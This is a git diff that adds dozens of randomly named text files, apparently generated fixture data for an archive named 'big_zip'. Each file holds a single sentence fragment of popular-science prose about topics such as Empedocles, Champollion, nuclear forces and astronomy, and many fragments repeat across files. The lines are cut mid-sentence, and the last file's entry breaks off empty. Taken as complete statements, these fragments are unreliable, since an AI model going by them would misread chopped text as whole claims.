diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mlmsljcvmlglrktidrxwnft.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mlmsljcvmlglrktidrxwnft.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mlmsljcvmlglrktidrxwnft.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mnljitlhqvhctfjwfexmbq.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mnljitlhqvhctfjwfexmbq.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mnljitlhqvhctfjwfexmbq.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mwudwqdxrxlouttpklpzff.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mwudwqdxrxlouttpklpzff.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_mwudwqdxrxlouttpklpzff.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_olgbguliilxckmyfywudh.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_olgbguliilxckmyfywudh.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_olgbguliilxckmyfywudh.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qjurqiopsaxdugmwrd.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qjurqiopsaxdugmwrd.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qjurqiopsaxdugmwrd.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qqcdindsldqpm.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qqcdindsldqpm.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_qqcdindsldqpm.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_rxhxhnqhuwsigbqfolt.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_rxhxhnqhuwsigbqfolt.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_rxhxhnqhuwsigbqfolt.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_secaerywnh.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_secaerywnh.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_secaerywnh.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_shgdhpeosqyebmtsmon.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_shgdhpeosqyebmtsmon.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_shgdhpeosqyebmtsmon.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_wnhogulkchaknnm.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_wnhogulkchaknnm.txt
new file mode 100644
index 0000000..14fc294
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/file_wnhogulkchaknnm.txt
@@ -0,0 +1 @@
+Empedocles is said to have died in an apotheotic fit by leaping into the hot lava at
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/bvxqfkaed.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/bvxqfkaed.txt
new file mode 100644
index 0000000..8ddd655
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/bvxqfkaed.txt
@@ -0,0 +1 @@
+thereby overcomes the electrical repulsion among the protons. The neutrons, whichcontribute nuclear forces of attraction and no electrical forces of repulsion, provide a kind
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/esztkbhwhqbsczq.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/esztkbhwhqbsczq.txt
new file mode 100644
index 0000000..eca77ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/esztkbhwhqbsczq.txt
@@ -0,0 +1 @@
+by the pirate ships of Polycrates.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_adnuqhrkrntppq.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_adnuqhrkrntppq.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_adnuqhrkrntppq.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_allgcldjwljdme.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_allgcldjwljdme.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_allgcldjwljdme.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_efdrdzgne.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_efdrdzgne.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_efdrdzgne.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_fdjnhxzzgkzqw.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_fdjnhxzzgkzqw.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_fdjnhxzzgkzqw.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_hpbnywvrqqhmx.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_hpbnywvrqqhmx.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_hpbnywvrqqhmx.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_iwwygpyahprajjhs.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_iwwygpyahprajjhs.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_iwwygpyahprajjhs.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_jqompoawuahgyxxllht.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_jqompoawuahgyxxllht.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_jqompoawuahgyxxllht.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_lywrxowlotedjdccbus.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_lywrxowlotedjdccbus.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_lywrxowlotedjdccbus.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ogezridnygzrwkhlx.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ogezridnygzrwkhlx.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ogezridnygzrwkhlx.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qamwctgkf.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qamwctgkf.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qamwctgkf.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qjmemzbqjvdk.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qjmemzbqjvdk.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_qjmemzbqjvdk.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vkniyibu.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vkniyibu.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vkniyibu.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vrxiuxpiy.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vrxiuxpiy.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_vrxiuxpiy.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xhokuniaddazile.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xhokuniaddazile.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xhokuniaddazile.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xzatxzffhgz.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xzatxzffhgz.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_xzatxzffhgz.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_yebkszvmberleofrkcdmmwpa.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_yebkszvmberleofrkcdmmwpa.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_yebkszvmberleofrkcdmmwpa.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ymmlqmwbzmricwcuphzwklvk.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ymmlqmwbzmricwcuphzwklvk.txt
new file mode 100644
index 0000000..a1f21aa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/file_ymmlqmwbzmricwcuphzwklvk.txt
@@ -0,0 +1 @@
+children, his wife was described as ‘stupid, sulking, lonely, melancholy.’ She had no
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gbvhxyzaoryrxxbj.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gbvhxyzaoryrxxbj.txt
new file mode 100644
index 0000000..0573e76
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gbvhxyzaoryrxxbj.txt
@@ -0,0 +1 @@
+the realm of the nebulae, eight billion light-years from Earth, halfway to the edge of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnmlglgtkvvmlaavx.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnmlglgtkvvmlaavx.txt
new file mode 100644
index 0000000..455e104
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnmlglgtkvvmlaavx.txt
@@ -0,0 +1 @@
+creatures in between possess many similar genetic instructions. Our separate gene libraries
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnuwpttrqpuwowffab.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnuwpttrqpuwowffab.txt
new file mode 100644
index 0000000..6609db1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gnuwpttrqpuwowffab.txt
@@ -0,0 +1 @@
+fingers including a thumb, or four fingers including a thumb, or maybe five fingers and two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gxsjlprlzdl.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gxsjlprlzdl.txt
new file mode 100644
index 0000000..e9a94c2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/gxsjlprlzdl.txt
@@ -0,0 +1 @@
+their rules. Rules are sacred.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/imxytbnwfghu.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/imxytbnwfghu.txt
new file mode 100644
index 0000000..1310d5e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/imxytbnwfghu.txt
@@ -0,0 +1 @@
+these senses to locate a mate or a baby or a predator did not leave many offspring. So
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jihyfrgtjjlsqpirecfilca.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jihyfrgtjjlsqpirecfilca.txt
new file mode 100644
index 0000000..5699d57
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jihyfrgtjjlsqpirecfilca.txt
@@ -0,0 +1 @@
+something to do with the fact that I am made chiefly of them? Are we carbon- and water-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jlrexmuogtgtkvlpx.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jlrexmuogtgtkvlpx.txt
new file mode 100644
index 0000000..88cf74f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/jlrexmuogtgtkvlpx.txt
@@ -0,0 +1 @@
+to the velocity and to the wavelength of the spectral line when the object is at rest.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/kncwezapapp.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/kncwezapapp.txt
new file mode 100644
index 0000000..598ca22
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/kncwezapapp.txt
@@ -0,0 +1 @@
+because an astronomer centuries later was unaccountably reminded of a crab when looking
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/lcqocbhpnpvvldsk.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/lcqocbhpnpvvldsk.txt
new file mode 100644
index 0000000..4bdfab2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/lcqocbhpnpvvldsk.txt
@@ -0,0 +1 @@
+different angles to the Sun’s rays cast shadows of different lengths. For the observed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/mfnvoewduuzvxzx.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/mfnvoewduuzvxzx.txt
new file mode 100644
index 0000000..ab7e56a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/mfnvoewduuzvxzx.txt
@@ -0,0 +1 @@
+boy’s name was Jean François Champollion. Fired by the mystery of language no one could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/nlfatudthjapz.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/nlfatudthjapz.txt
new file mode 100644
index 0000000..1dc7c28
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/nlfatudthjapz.txt
@@ -0,0 +1 @@
+exploration would enable the military-industrial establishments of the major powers to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/okalzfkuglyjhzlcquo.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/okalzfkuglyjhzlcquo.txt
new file mode 100644
index 0000000..fce3ee5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/okalzfkuglyjhzlcquo.txt
@@ -0,0 +1 @@
+the Sun’s mass, has an even more remarkable fate reserved for it - its gravity will turn it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/oqxghtbuownhlcwxaxsi.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/oqxghtbuownhlcwxaxsi.txt
new file mode 100644
index 0000000..3cd499f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/oqxghtbuownhlcwxaxsi.txt
@@ -0,0 +1 @@
+wave theory of light.* These were all connected activities, and their practitioners mingled
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/pzncqpmbddmoqmi.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/pzncqpmbddmoqmi.txt
new file mode 100644
index 0000000..6c87931
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/pzncqpmbddmoqmi.txt
@@ -0,0 +1 @@
+enterprise, in Greek at the bottom. Champollion, who was fluent in ancient Greek, read that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/rxjrqbjw.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/rxjrqbjw.txt
new file mode 100644
index 0000000..f8b24a3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/rxjrqbjw.txt
@@ -0,0 +1 @@
+In contemporary Western society, buying a magazine on astrology - at a newsstand,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/slkzgfglcoxqwuzy.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/slkzgfglcoxqwuzy.txt
new file mode 100644
index 0000000..d22580e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/slkzgfglcoxqwuzy.txt
@@ -0,0 +1 @@
+secret version of astrology from the more common variants of his time, which he thought conducive to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/tigrcbxjevipljtidjty.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/tigrcbxjevipljtidjty.txt
new file mode 100644
index 0000000..e9fb7d5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/tigrcbxjevipljtidjty.txt
@@ -0,0 +1 @@
+a confused jumble of programs. Even these might be sorted out and pieced together by an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/urdcpqqdergfttvghfydmb.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/urdcpqqdergfttvghfydmb.txt
new file mode 100644
index 0000000..48be971
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/urdcpqqdergfttvghfydmb.txt
@@ -0,0 +1 @@
+life evolve to produce beings as elaborate and complex as we, able to explore the mystery
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/xnqrqiwzznqrihxjxkh.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/xnqrqiwzznqrihxjxkh.txt
new file mode 100644
index 0000000..a7a384d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/xnqrqiwzznqrihxjxkh.txt
@@ -0,0 +1 @@
+everything like an impenetrable thicket.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/ywkxgtykgltlywvbqnew.txt b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/ywkxgtykgltlywvbqnew.txt
new file mode 100644
index 0000000..660387e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_icmzigkcnw/folder_bjpygpdude/folder_nhuffrxqcb/ywkxgtykgltlywvbqnew.txt
@@ -0,0 +1 @@
+clouds - its features first explored by radar and by space vehicles.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_brwptwvhgih.txt b/big_zip/big-zip-files/folder_imhdldifac/file_brwptwvhgih.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_brwptwvhgih.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_daenmjagl.txt b/big_zip/big-zip-files/folder_imhdldifac/file_daenmjagl.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_daenmjagl.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_eijjjqwqw.txt b/big_zip/big-zip-files/folder_imhdldifac/file_eijjjqwqw.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_eijjjqwqw.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_elkckxon.txt b/big_zip/big-zip-files/folder_imhdldifac/file_elkckxon.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_elkckxon.txt
@@ -0,0 +1 @@
+to the outer solar system, is less than that of the 1979-80 Soviet invasion of Afghanistan.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/file_fkmkwbqtzvgilxqvy.txt b/big_zip/big-zip-files/folder_imhdldifac/file_fkmkwbqtzvgilxqvy.txt
new file mode 100644
index 0000000..6d9fcdb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/file_fkmkwbqtzvgilxqvy.txt
@@ -0,0 +1 @@
